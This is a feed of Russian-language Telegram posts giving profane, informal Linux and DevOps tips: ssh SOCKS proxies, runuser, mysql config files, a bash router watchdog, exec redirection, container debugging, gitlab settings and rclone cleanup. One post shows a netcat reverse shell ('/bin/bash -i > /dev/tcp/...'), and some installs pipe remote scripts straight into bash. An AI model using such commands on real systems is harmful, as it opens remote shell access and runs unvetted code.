Линукс и DevOps Дни
2.04K subscribers
108 photos
8 videos
194 links
Самобытно про разработку, devops, linux, скрипты, тестирование, сисадминство, техдирство, пиэмство и за айтишную жизу.
Download Telegram
100% кешбэк за Kubernetes и базы данных в Selectel

Разверните свой проект в Selectel и пользуйтесь PaaS-сервисами с кешбэком. Подключите отказоустойчивые и масштабируемые кластеры Managed Kubernetes и облачных баз данных, а мы вернем бонусами 100% от суммы за первые 30 дней использования сервисов.

Selectel — ведущий российский провайдер IT-инфраструктуры с облаком собственной разработки. Лидер среди провайдеров Kubernetes и облачных баз данных, по версии CNews.

Преимущества PaaS-сервисов в Selectel:
▪️ Отказоустойчивость. Гарантируем доступность и стабильную работу сервисов за счет отказоустойчивого кластера.
▪️ Масштабируемость. У нас всегда есть ресурсы для масштабирования и роста ваших проектов.
▪️ Экосистема продуктов. 40+ сервисов для создания проектов любого масштаба и сложности.
▪️ Простое управление. Работайте с кластерами через панель, Terraform-провайдер или API.

Участвуйте в акции и верните 100% затрат на Kubernetes и базы данных. Подробные условия по ссылке: https://slc.tl/rl6wi

Рекла...
This media is not supported in your browser
VIEW IN TELEGRAM
Привет, пока я летаю, рекомендую обратить внимание на эту софтину.

✔️ goManageDocker


Это инструмент для управления docker’ом через интерфейс командной строки.

Разработан он для ленивых жоп (как я), которые в рот ебали вводить длинные консольные команды для получения желаемого.

Обычно после отпуска нахрен забываешь весь этот чудо docker синтаксис и приходится вновь лезть в интернет за мануалом — докер для чайников.


Ну дак вот GMD всю эту работу берет на себя, тыкай горячие кнопки и рули своими образами и контейнерами.

Прям мастхевная хуёвина для каких-то своих пет-прооектов. Для разработчиков прям пушка, поставил локально и не ебись с консолькой.

Ставится элементарно:

bash -c "$(curl -sLo- https://raw.githubusercontent.com/ajayd-san/gomanagedocker/main/install.sh)"


Репка тут: https://github.com/ajayd-san/gomanagedocker

tags: #utilites

🔔
Здрасти, я потихоньку прихожу в себя после всех этих поездок. К концу недели глядишь раскачаюсь и войду в привычный ритм. Ну а пока читаем пиздатые посты от Tagd Tagd 👇

Сегодня мы рассмотрим как ДЛЯ СЕБЯ запилить SOCKS VРN через ssh.

Допустим у вас есть виртуалка на зарубежном хостиге с ssh. (на pq 450р/мес.)

А вы человек добрый, почти как я, и решили поделиться счастьем с женой и детьми.

Но давать доступ к консоли страшно, вдруг что-нибудь сломают.

БЕЗДУМНАЯ НАСТРОЙКА SSH по SSH МОЖЕТ ПРИВЕСТИ К ПОТЕРЕ КОНТРОЛЯ НАД СЕРВЕРОМ.

Чтобы минимизировать риски, я подключаюсь по ssh двумя сессиями. В одной правлю sshd_config, другую оставляю для возможного отката при косяках, поскольку при перезапуске sshd с измененным конфигом текущие сессии сохраняются.

Наличие физического доступа к консоли - приветствуется.

sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.$(date +%Y%m%d-%H%M%S)


Вы уже знаете, как настроить ключи. И они прописаны и работают!!!

Есть несколько способов безболезненно раздать vрn на свою семью. В файле /etc/ssh/sshd_config

Match User bashdays_tagd
# или Match Group proxy
MaxAuthTries 3
MaxSessions 0
PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding yes
#--


sudo service sshd restart


Если иcпользуете группу — не забудьте добавить в нее пользователя:

sudo usermod -aG proxy bashdays_tagd


При параметре MaxSessions 0 будет запрещен доступ к shell и sftp. Но разрешен проброс портов.

На клиенте:

ssh -N -D 5000 bashdays_tagd.host.name


После запуска и ввода фразы ключа программа ничего не выводит, а потом, при использовании начинают сыпаться какие-то ошибки, ну и ладно. Если прервать команду, соединения в браузере разорвутся.

В firefox:

Настройки -> Настройка сети -> Параметры соединения

Ручная настройка прокси. SOCKS5. 127.0.0.1 порт 5000.

Галка — Отправлять DNS-запросы через прокси при использовании SOCKS 5
или:


ssh -N -D 192.168.1.57:5000 bashdays_tagd.host.name


Если ваш адрес 192.168.1.57 и вы, человек еще более добрый чем я, и решили поделиться VРN со всей своей локалкой (в которой сидит еще и тёща с тестем):

В настройках firefox нужно будет заменить 127.0.0.1 на 192.168.1.57

Продолжение следует...

tags: #linux

🔔
Все мы прекрасно знаем, что для переключения пользователя есть su и sudo. Но не все знают про команду runuser.

Эта команда используется в скриптах, системных процессах, крон тасках и в контексте служб которые запускаются с привилегиями рута. А самое главное не требует ввода пароля.

Пример:

runuser -u roman -- id


Ну и важно посмотреть help, чтобы жонглировать ключами. Там тебе и проброс шелла, сохранение/очистка переменных, псевдотерминалы и т.п.

В скриптах предпочтительнее использовать именно runuser чем везде пихать su.

Если у тебя нет привилегий root и нужно выполнить команду от имени другого пользователя, su для этого подходит лучше.

А чем отличается su от sudo (+ это двойное тире) я писал в этом посте.

Такие дела, изучайте…

tags: #linux

🔔
Добрый день господа и дамы. Сейчас накидаю тебе интересную темку, которую частенько используют пентестеры в своей работе.

Но темка это не только пентестерская, она вполне применима для рядовых админов и девопс инженеров. И порой я ей пользуюсь.

Многие знают Linux утилиту nc = netcat, вот с помощью нее можно подключаться к серверам у которых нет прямого айпи адреса, а есть только внутренний, либо все за NAT лежит.

Темка называется — Reverse Shell. Про неё ты тоже всяко слышал. В подробности вдаваться не будем, потыкаем на практике чтобы тебе все стало понятно.

У меня есть сервер в закрытом периметре без внешнего айпи адреса.

Нужно выдать доступ левому инженеру из мухосранска, который подключиться к этому серверу и произведет работы на сервере.

Как быть? Привязывать белый айпишник не вариант. Бастиона нет. SSH тоннели не канают. Тут-то на помощь и приходит netcat.

Просим инженера из мухосранска запустить у себя:

root:/ nc -lvnp 2288


В ответ он получает строчку вида: Listening on 0.0.0.0 2288

-l = слушать входящие соединения
-v = быть более подробным
-n = использовать IP-адреса без DNS
-p = порт

Дальше я иду на сервер, который не имеет белого айпишника и запускаю на нём:

/bin/bash -i > /dev/tcp/айпи мухосранска/2288 0<&1 2>&1


Не забываем у инженера узнать его IP, чтобы подставить инженера его в команду.

Все эти хуйни с перенаправлением 0<&1 2>&1 описывать не буду, ебаные премудрости, сто раз уже мусолили в постах. Если интересно, спроси у GPT.

А дальше… магия!

В мухосранске, там где запустили nc -lvnp 2288, произойдет такое:

Listening on 0.0.0.0 2288
Connection received on 147.45.73.123 50740
root:~#


У инженера сменится шелл с root на root и он получит доступ к нашему закрытому серверу без белого айпишника. Ну охуенно же!

Ну а дальше можно и админить всё это дело пользуясь всеми благами командной строки.

Для всего происходящего могут понадобиться рут права, поэтому сразу делаем на это погрешность.


Прошу отметить, что предоставленная здесь информация предназначена исключительно для образовательных и информационных целей. Я не призываю и не одобряю незаконные действия, и использование этой информации для незаконных целей запрещено. Читатели должны соблюдать законы своей страны и использовать свои навыки с уважением к этическим нормам и законам.


Давай, увидимся!

tags: #linux #networks #security

🔔
Друзья мои, реакции на постах с пальцами знатно всех подзаебали, давайте их котиками заменим + срущих добавим, чтобы проявлять своё животное возмущение и недоумение.

Если есть премка в телеге, размутим! жмякай 👇



Всем кто жмякнул — вы котики! 😘

Ну а кто не жмякнул, вы тоже котики 🙃
Сегодня мы рассмотрим второй способ, как запилить SOCKS через ssh.

Напишем свой крутой шелл с анимацией и ограничениями для пользователей.

Как-то видел анимацию сисек при долгом копировании, но сейчас не нашел. Может кто подскажет... Варианты анимации здесь.

sudo vim /usr/local/bin/socksshell

#!/bin/bash
trap 'echo -e "\\nWaiting session end...";exit' SIGINT SIGTERM SIGHUP SIGQUIT
printf "VPN on. Press CTRL-C for BREAK "
while :;do
for i in '> ' '>>' ' <' '<<';do
printf "\b\b$i"
sleep 3
done
done

sudo chmod 755 /usr/local/bin/socksshell


Скрипт не дает пользователю ничего делать, но своей анимацией поддерживает соединение в рабочем состоянии. Если не нравится shell на скрипте - поищите в сети Sleep Dummy Shell он на си.

В файле /etc/ssh/sshd_config

Match User bashdays_tagd
MaxAuthTries 3
MaxSessions 10
PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding yes
ForceCommand /usr/local/bin/socksshell
#--


Опция ForceCommand, фактически, заменяет оболочку для ssh, если захотите заменить оболочку пользователя в глобально системе (не обязательно):

sudo usermod -s /usr/local/bin/socksshell bashdays_tagd
sudo service sshd restart


А на клиенте:

ssh -D 5000 bashdays_tagd.host.name


После запуска и ввода фразы ключа программа выводит анимацию. Если прервать команду, соединения в браузере не разорвутся, как в первом способе, а программа будет ожидать закрытия браузера!!!

В firefox Настройки -> Настройка сети -> Параметры соединения: Ручная настройка прокси. SOCKS5. 127.0.0.1 порт 5000.

+ галка Отправлять DNS-запросы через прокси при использовании SOCKS5.

или

ssh -D 192.168.1.57:5000 bashdays_tagd.host.name


Если ваш адрес 192.168.1.57 и вы человек еще более добрый чем я и решили поделиться вашем счастьем со всей своей локалкой.

В настройка firefox нужно будет заменить 127.0.0.1 на 192.168.1.57

Продолжение следует... © by Tagd Tagd

tags: #linux #networks #bash

🔔
Здрасти здрасти хуймордасти, оказывается есть люди, которые не знают как залетать в mysql без пароля.

Попался вчера свежий Bash скрипт от персонажа комиксов, который явно указывает пароль от mysql. Заебись Bash скрипт с паролями от рутового мускла. Так делать не нужно.

А нужно всего лишь создать файл в домашнем каталоге пользователя и обозвать его /home/user/.my.cnf.

Содержимое файла .my.cnf

[client]
user=user
password=passwd
database=db


Этот файл содержит настройки по умолчанию для команд mysql.

Помимо этих переменных, в этот файл можно закинуть что-то еще, не знаю что еще я туда больше ничего не пихаю.

Либо передавать напрямую в mysql путь до файла с помощью ключа:

--defaults-file==filename


В этом случае имя и путь файла может быть любой. НО обязательно сделай этот файл доступным для чтения только тебе, чтобы пидарасы-криворукие не смогли подглядеть креденшелы.

Теперь если в командой строке просто ввести mysql, ты залетишь в mysql без юзера и пароля + сменится база данных.

Обычно этот хак используют на рутах, чтобы рут не ебался и залетал с первым же лучиком солнца.


А для винды есть mysql_config_editor, который поможет зашифровать пароль, ведь в винде нужные права на файл хуй поставишь.

Почитать: Параметры командной строки, влияющие на обработку.

Хороших предстоящих выходных!

tags: #linux #mysql

🔔
На пути к умноватому дому напишем простой ip watchdog на баш. Будем мониторить наличие интернета и перезапускать роутер, если он "завис".

#!/bin/bash
declare -i COUNTER=0
declare -r P=1m # задержка между пингами или циклами

function EXECUTE(){ echo $COUNTER Need execute ; }

while :;do
COUNTER+=1
for LNK in "ya.ru" "youtube.ru" "list.ru" "vk.com" "8.8.8.8" \
"2ns.info" "aliexpress.com" "yandex.ru" "77.88.8.8" "ozon.ru" \
"8.8.4.4" "gmail.com" "mail.ru" "ok.ru" "youtube.com";do
ping -c1 -w2 $LNK > /dev/null 2>&1
if [[ $? -eq 0 ]];then
COUNTER=0
sleep $P
fi
done

case $COUNTER in
0) continue;;
2|5|10|15|20|40|60|90|120|180|300) EXECUTE;;
600) COUNTER=300; EXECUTE;;
esac
sleep $P
done
#--


COUNTER - счетчик циклов присутствия проблемы.

P=1m - задержка в цикле 1 минута

function EXECUTE() - функция, в которой прописываем действия для устранения проблемы.

for LNK in ... done в цикле пингуем адреса, и если хотя бы один ответ получили, сбрасываем счетчик проблем в 0 и выдерживаем паузу. Если ответ на ping не получили без задержек переходим к следующему адресу.

Адреса на ping не проверял. Проверяйте, добавляйте, изменяйте сами.

ping -c1 - один пакет -w2 - время ожидания 2 сек

Таким образом, если все адреса отвечают - каждый из них пингуется раз в 15 минут (задержка * количество адресов). Если отвечает только 1 - пинговаться он будет ежеминутно. Не хорошо, но не критично.

case $COUNTER in ... esac самый удобный оператор для множественных условий.

Если проблем нет ($COUNTER=0) сразу возвращаемся к пингам. Если проблема есть попробуем ее решить (перезагрузить роутер, например).

Попытки будут предприниматься с нарастанием времени на 2,5,...300 циклах.

600) COUNTER=300...;; - далее попытки проводятся через 300 циклов. Вообще-то строку "600) COUNTER=300; EXECUTE;;" можно было бы заменить на "599) COUNTER=299;;" с сохранением логики работы. Но оставил более понятный вариант.

Прошу обратить внимание, что цикл чуть больше минуты, когда все хорошо, но когда ping не получает ответа - время ~ 2 сек. То есть время fail-цикла = задержка + (число адресов * 2сек) ~ 1мин 30 сек.

Ну, и теперь самое интересное.

На aliexpress ищем "usb relay". (одиночный < 200 рублей).

Качаем и ставим драйвера и пишем что-то вроде:

declare -r HEX_CODE_OFF='\xA0\x01\x01\xA2'
declare -r HEX_CODE_ON='\xA0\x01\x00\xA1'
#use ls /dev/ttyUSB* ###############################
declare -r USB_DEV=/dev/ttyUSB0
echo -n -e $HEX_CODE_OFF > $USB_DEV
sleep 30
echo -n -e $HEX_CODE_ON > $USB_DEV


Подключаем релюху (контакты NO) в разрыв провода питания роутера - и автомат готов.

PS от Ромы — НО будьте аккуратны, чтобы ёбом не токнуло!


tags: #homework #DIY © by Tagd Tagd

🔔
Ну вот и отгуляли лето, впереди новый учебный год, подъемы в 6 утра и ожидание выходных. Но есть и плюсы, хотя…

Ладно, сегодня я тебе принес WatchYourLAN.

Эта хуёвина представляет собой лёгкий сетевой сканер с веб-мордой.

На днях выкатили вторую версию.

Основные фишки:

- Если в твоей сети появился пидор, она тебе сообщит
- Отправляет данные в графану через InfluxDB2

Ради прикола взгромоздил я на малинку WatchYourLAN. Завязал на графану и alertmanager и теперь получаю в телегу алерты, если в сети зарегистрировалось новое устройство.

Охуенно! Чем бы дитя не тешилось.

Запускается прям с докера одной командой:

docker run --name wyl \
-e "IFACES=$YOURIFACE" \
-e "TZ=$YOURTIMEZONE" \
--network="host" \
-v $DOCKERDATAPATH/wyl:/data/WatchYourLAN \
aceberg/watchyourlan:v2


Не забываем забить свои переменные. На вебморду можно попасть так:

< IP >:8844


В общем рекомендую потыкать, может кому пригодится для каких-то своих целей.

Официальная репка на гитхабе тут

tags: #utilites

🔔 ➡️
@glyanka_ru 👀 — твой карманный гид по миру умопомрачителных интерьеров. Зависть соседей обеспечена! Подписывайся!
Когда собирался писать об этом операторе на ум пришла считалочка, которой меня научили в пионерском лагере.

А поскольку я сейчас не матерюсь, чтоб никто не догадался, перейду на старославянский алфавит.

Итак: Шёл Хер по херу, встретил Хера на херу, взял Хер Хера за хер, и к херам закинул нахер.

Вот, а сейчас говорят, что пионеров ничему хорошему не учили... exec.

Есть два варианта использования:

1. exec command — билет в один конец. Для чего это нужно я так и не понял, может умные в комментах напишут. Перед выполнением команды, bash фактически завершается, управление передаётся команде. И все...

пример:

exec echo 123 — результат очень красочный. Такой же, как и с любой другой командой.

2. Перенаправление. Это штука крайне нужная и очень понятная. В других, нормальных ЯП она называлась бы open.

В Basic open "filename.txt" for input as #3
В bash exec 3<fileneme.txt
В Basic open "filename.txt" for output as #4
В bash exec 4>filename.txt
В Basic open "filename.txt" for append as #5
В bash exec 5>>filename.txt
В Basic open "filename.txt" for random as #6
В bash exec 6<>filename.txt

Приведу несколько полезных примеров

exec 2>/dev/null — все сообщения об ошибках отправить по пути, указанному в считалочке.

На код ошибки (типа errorlevel) это не влияет.

exec 1>filename.txt все сообщения, кроме ошибок отправить в файл.
exec 1>filename.txt 2>&1 все сообщения, включая ошибки отправить в файл.

Стоп-стоп. Откуда взялся &? Легко запомнить. Это костыль. Если вы не укажите &, сообщения попадут в файл с именем "1".

Все помнят, что 0=/dev/stdin 1=/dev/stdout 2=/dev/stderr. Остальные 3-9 можем использовать по собственному усмотрению.

Пример:

#!/bin/bash
seq 1 3|tee 1.txt > 2.txt
exec 3<1.txt
while read -u3 L1;do
exec 4<2.txt
while read -u4 L2;do
echo $L1 $L2
done
done


seq — создаем два файла, по три строки в каждом
exec 3<1.txt - открываем файл для чтения с дескриптором 3
read -u3 L1 читаем из файла с дескриптором 3. Дальше все аналогично.

Если нужно закрыть 4, например, дескриптор за ненадобностью exec 4>&-

man tee seq
help while read exec


tags: #bash © by Tagd Tagd

🔔 ➡️
После того как я проверил на себе Suicide Linux, я всё проебал. Пришлось с нуля настраивать всё окружение.

В процессе настройки решил отказаться от zsh + oh-my-zsh и жить на чистом bin/bash.

Через пару дней понял, что мне не хватает «авто-подсказок». В zsh я использовал плагин zsh-autosuggestions, но а как быть с чистым башем? Там плагин через .bashrc хуй поставишь.

И нашел я BLE.sh (Bash Line Editor). Звучит же?

Софтина полностью меня устроила, даж красненьким подсвечивает команды когда я хуйню пытаюсь ввести.

Устанавливается просто, клонируешь себе из гит репки файлы, компилируешь и в ~/.profile подключаешь. Выглядит это так:

git clone --recursive https://github.com/akinomyoga/ble.sh.git
make -C ble.sh
echo "source ble.sh/out/ble.sh" >> ~/.profile


Перезапускаешь сессию и получаешь подсказки по командам, которые ты ранее вводил.

Бле так Бле!

В репе есть мануал, там чет через курл-хуюрл ставится и всякие другие способы описаны. Выбирай какой тебе ближе.

Но как быть со сфистоперделками и но...
🔵 Инженер техподдержки? Получи оффер в YADRO всего за неделю!

У тебя есть возможность поучаствовать в One Week Offer от крупнейшей технологической компании России - лидера инженерной индустрии.

Если ты хорошо знаешь принципы серверной архитектуры и СХД и хочешь стать частью масштабных проектов:

• Пришли своё резюме и заполни форму участия до 22 сентября.
• Пройди техническое интервью.
• Получи оффер после успешного собеседования.

Скорее переходи по ссылке и стань частью команды.
Привет. В дополнение к предыдущему посту про свистоперделки.

Чтобы каждый раз не вводить такую дичь:

ssh -i ~/.ssh/id_rsa user.xxx.xxx.xxx


Ключик можно автоматически добавлять в ssh-agent и тогда подключение будет выглядеть так:

ssh user.xxx.xxx.xxx


Чтобы это провернуть, прописываем в ~/.profile

if [ -z "$SSH_AUTH_SOCK" ]; then
eval $(ssh-agent -s) > ~/.ssh/ssh-agent
fi

ssh-add ~/.ssh/gitlab_rsa
ssh-add ~/.ssh/production_rsa
ssh-add ~/.ssh/home_rsa


Первый блок проверяет запущен ли SSH агент, а если нет — запускает его.

Второй блок добавляет нужные ключи в агент. Посмотреть все ключи в агенте можешь командой ssh-add -L, а удалить всё из агента можно командой ssh-add -D.

Вот и вся наука. Ну а теперь интерактивная часть.

Ну а чтоб тебе не скучно было, можешь написать башник и скинуть в комменты, который автоматически пробегается по всем ключам в папке ~/.ssh и добавляет их в агент.

Но учти что в этой папке могут быть косячные ключи, ключи с неправильными правами, да и всякие файлы вида config, known_hosts. Короче потребуется работа с эксепшенами.

Чей коммент с решением соберет больше всех реакций и будет заебись работать, закину приятный бонус. Поехали!

tags: #utilites #рабочиебудни #bash

🔔 ➡️
Здрасти приехали, пятница!

Частый вопрос который задают ребята с проекта Linux Factory:

Как в gitlab registry чистить докер имейджы, а то там такая пиздец блядь каша после экспериментов.


В gitlab есть встроенная херня, которая находится в Settings → Packages & Registries → Container Registry. Заранее не забудь выбрать нужный проект.

Там есть раздел: Cleanup Policies, в нём нажимаешь кнопку Set cleanup rules иии видишь еще кучу какого-то гавна.

Короче:

Run cleanup — выбираешь как часто запускать зачистку

Keep these tags — теги которые не нужно зачищать

Remove these tags — теги которые будем удалять

Remove tags older than — ну тут ежу понятно

В этих штуках работают регулярные выражения, примеры этих регулярок можешь глянуть тут.

Еще момент, если заполнить Keep these tags, то это даст протекцию тегам и даже если их прописать в Remove these tags имейджы не будут удалены.

Заполняешь, сохраняешь и оно автоматически будет тебе все подчищать.

Дополнительные варианты зачистки:

- удаляешь мышкой в UI самого гитлаба
- удаляешь через API самого гитлаба (например баш скриптом)
- используешь утилиты типа regclient или docker-gc

Такие дела, надеюсь было полезно. Давай, хороших тебе предстоящих выходных и береги себя!

tags: #devops

🔔 ➡️
Еще раз привет. В последнее время многие столкнулись с проблемой при запуске пайплайнов в гитлабе.

Требуется какая-то ебучая Verify my account, квест который не так просто пройти. Но есть способ это обойти, спасибо за наводку Akhmed Gvashev.

Пиздуем в Settings → CI/CD → Runners → Instance runners и отключаем Enable instance runners for this project.

Всё, дело в шляпе. А дальше регистрируешь свои локальные раннеры и запускаешь пайплайны хоть до посинения.

Пользуйтесь!

tags: #devops

🔔 ➡️
Здрасти. Еще один частый вопрос с проекта Linux Factory:

Я собрал докер имейдж, а контейнер вечно в ребуте либо вообще не запускается, чо делать и как отлаживать?


Давай симулируем ситуацию и попробуем что-то с этим сделать.

Для начала соберем имейдж, это будет простой nginx + свой конфиг, который будет копироваться с локальной машины в имейдж.

Создаем на хостовой машине пару файлов:

Dockerfile:

FROM nginx:latest
WORKDIR /etc/nginx
COPY ./nginx.conf /etc/nginx/nginx.conf
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]


nginx.conf

user  nginx;
worker_processes 1;

events {
worker_connections 1024;
}

http {
server {
listen 80;
server_name localhost;

location / {
return 200 'Hello, Docker!'
add_header Content-Type text/plain;
}
}
}


Собираем имейдж:

docker build -t my-nginx .


Ждем, на экране бежит куча всякого непотребства. Это нормально. Ждем…

Проверяем:

docker images


Ага, все ок, выплюнуло что-то вроде:

REPOSITORY   TAG       IMAGE ID       CREATED          SIZE
my-nginx latest b844ef77daa3 33 seconds ago 188MB


Запускаем:

docker run -d -p 80:80 my-nginx


Проверяем:

docker ps


Хуй там плавал. Ничо не стартануло… ошибок нет, куда смотреть?

Если контейнер вообще не запускается, то для начала смотрим логи:

1. Узнаем состояние контейнера:

docker ps -a


Видим хуй с маслом: Exited (1) 4 minutes ago

2. Смотрим логи:

docker logs --follow <id or name>


В <id or name> подставляем айдишник либо имя контейнера:

В логах видим ошибку:

 invalid number of arguments in "return" directive in /etc/nginx/nginx.conf:15


Вот! С ней уже можно работать. Получается мы посмотрели логи, даже для незапущенного контейнера. Пиздуем в nginx конфиг и видим, что в 14й строке проебали точку с запятой.

Дополнительно можно посмотреть коды выхода:

docker inspect <id or name>


Например, если код выхода ExitCode = 137, значит не хватило ресурсов, подкинь памяти и все взлетит. Наверное…

Это основные моменты отладки.

Ну а если контейнер все же запустился, но что-то не работает, сначала повторяем все вышенаписанное. Ну и дополнительно можешь подключиться к нему в интерактивном режиме:

docker exec -it <id or name> bash/sh


Подставляешь id/name контейнера и выбираешь шелл, частенько bash и коробки не установлен, поэтому как вариант запускаешь sh.

А для визуализации слоев используем утилиту dive

Установка dive:

DIVE_VERSION=$(curl -sL "https://api.github.com/repos/wagoodman/dive/releases/latest" | grep '"tag_name":' | sed -E 's/.*"v([^"]+)".*/\1/')
curl -OL https://github.com/wagoodman/dive/releases/download/v${DIVE_VERSION}/dive_${DIVE_VERSION}_linux_amd64.deb
sudo apt install ./dive_${DIVE_VERSION}_linux_amd64.deb


Открываем имейдж на анализ:

dive <id or imagename>


Подставляем id или имя — ИМЕЙДЖА (не контейнера)

Смотрим, охуеваем, закрываем.

Еще можно глянуть конкретный файл в контейнере:

docker exec -it <id or name> cat /etc/nginx/nginx.conf


Либо скопировать его себе на локальную машину:

docker cp <id or name>:/etc/nginx/nginx.conf /tmp


Поправить и скопировать обратно в контейнер:

docker cp /tmp/nginx.conf <id or name>:/etc/nginx/nginx.conf


Перезапускаем контейнер с новым конфигом:

Прикол в том, что тебе не нужно билдить новый имейдж, ты делаешь правки прям в контейнере.


docker exec <id or name> nginx -s reload


Такие дела! Если знаешь еще хаки и способы отладки контейнеров/имеджей, пиши в комменты, будет полезно!

tags: #devops #debug #docker

Оказывается не все знают как в гитлабе сделать приватную репу публичной.

➡️ На примере облачного гитлаба:


Пиздуем в ПроектSettingsGeneralVisibility, project features, permissionsProject visibility

Выбираем из выпадающего списка: private, public, internal

Если у тебя облачный гитлаб с группами, читай дальше.

➡️ На примере Self-Hosted:

В отличии от облачного гитлаба, здесь недоступны варианты public, internal. Это многих смущает и вводит в ступор. Если коротко — сгорают жопы!

Открываем проект c репозиторием, вверху слева будет название группы, у меня оно linuxfactory и следом название проекта. Тыкаем на название группы, попадаем примерно на такой урл: https://git.bashdays.ru/linuxfactor

Нажимает три точки справа сверху появляется всплывашка, выбираем → Group Settings.

Находим: Visibility level и выставляем видимость группы public.

Пиздуем опять на страницу проекта с репозиторием → SettingsGeneralVisibility, project features, permissionsProject visibility

И о чудо! Активируются пункты public и internal.

Если чо-то забыл, добавляй в комменты, тема реально муторная и многие на эти грабли частенько наступают. Да чо греха таить я сам прихуел от таких пиздостраданий.

Пользуйтесь!

tags: #devops

🔔 ➡️
Я тут решил поделиться впечатлениями. И хорошими и не очень. Вобщем, все в дом BashDays.

Недавно мне не дали премию за написание статей для BashDays. Сразу скажу, что на нее я не рассчитывал, поэтому охренел обрадовался и решил потратить ее на что-нибудь бесполезное, но приятно-интересное.

В общем, прикупил себе Безвентиляторный ПК Intel Celeron N2840 @ 2.16GHz 8Gb 128Gb 2 Lan 1Gb wi-fi Intel® Centrino® Advanced-N 6205. (далее писюк)

Проц выбрал именно такой из-за TDP 7W. На машине стояла Win10. Ну, я ее включил, залез на youtube. Измерил потребляемую мощность 12-15 Вт. Ну, короче, работать можно, если без претензий Корпус грелся, но я долго не работал. Снес.

Поставил pfsense. Установилась легко. Работает шустро. Но я не смог поднять точку доступа WI-FI. Интерфейс поднимается, но режим точки доступа не доступен. Немного погуглил, народ пишет, что pfsense и wi-fi AP не очень дружат, и рекомендуют просто купить дрочку доступа. Ой, как забавно опечатался. Даже исправлять не буду. Снес.

Поставил debian 12. Затем hostapd, dnsmasq, iptables. В общем, точка доступа поднялась с танцами и бубном, но, проверка скорости с помощью iperf3 показала, что ноут с этой точкой доступа работает на скорости около 35-37 Мбит/с.

Между тем, мой старичек keenetic 4G (KN-1210) RU выдает 80-90 Мбит/с. И это включая интернет канал до Нидерландов. В общем, полное разочарование. Да, это на 2.4 ГГц. На 5 мне попробовать было нечем. Снес.

После этого решил на пробу установить ipfire. Дистрибутив, специально заточен для периметрового маршрутизатора, но по функционалу, который можно доставить очень напоминает openwrt. (C самой openwrt я знаком чисто теоретически).

Про ipfire раньше никогда не слышал, прям сегодня почитал, и решил попробовать. Знаете, впечатление очень даже ничего. Ставится просто, web-интерфейс довольно удобный. (За исключением правил firewall. Но это я после pfsense такой привередливый:-)

Порадовала документация на сайте. Все очень простым английским языком. Да, один косяк. При установке, вначале указал язык русский и после перезагрузки в инсталляторе все тексты были квадратиками. Что-то парни со шрифтами намудрили.) Пришлось переставлять. Поставил, поднял точку доступа с пол-оборота, замерил скорость - 35-37Мбит/с. Грешу на wi-fi адаптер.

Заменить полноценно Keenetic не получилось. Да, из самого неприятного, писюк греется. Я пробовал поставить частоты по минимуму, производительности хватает, но все равно греется, хотя и значительно меньше.

Для проца температура совсем ерундовая, но для ссд и материнки условия не очень комфортные. Видимо придется колхозить вентилятор, тем более отверстия под 60мм есть.

Буду рад послушать о вашем опыте использования подобных игрушек. О проблемах и путях решения. Пишите в комментах, кто для чего использует и какой софт.

tags: #рабочиебудни © by Tagd Tagd

🔔 ➡️
Хелоу мая диа френдз! Я повидал дохуя bash скриптов по зачистки старых бекапов, какие-то работают заебись, какие-то создают лишь видимость.

Заебись когда бекапы у тебя лежат на той же машине где ты их делаешь.

Запускаешь по крону команду rm и паре с find и зачищаешь ненужное гавно которое старше определенного времени.

А чо делать когда бекапы «правильно» заливаются в облако s3 по протоколу swift?

Там find с rm уже не прокатит. Можно конечно изгаляться, но я в рот ебал изобретать очередной велосипед.

Для этих целей отлично подходит rclone, кто бы блядь мог подумать.

Работает так:

/usr/bin/rclone --config ~/.config/rclone/rclone.conf \
--log-file /var/log/rclone-trasher.log \
-v delete selectel:backups/1c/ --min-age 3d --rmdirs


Показываем где лежит конфиг, конфиг представляет нечто такое:

[selectel]
type = swift
env_auth = false
user = bashdays
key = fuckyou
auth = https://auth.selcdn.ru/
endpoint_type = internal


Пишем непотребства в лог файл, чтобы потом посмотреть что там в кроне навыполнялось.

Указываем где чистим бекапы, задаем сколько бекапов нам оставить, в примере я оставляю за 3 последних дня. Бекапы у меня в каталогах по датам, добавляю ключик rmdirs.

Вешаем на крон и идем дальше работать пинать хуи.

По моему отличное решение, и даже думать не пришлось.

Пользуйтесь на здоровье!

tags: #devops

🔔 ➡️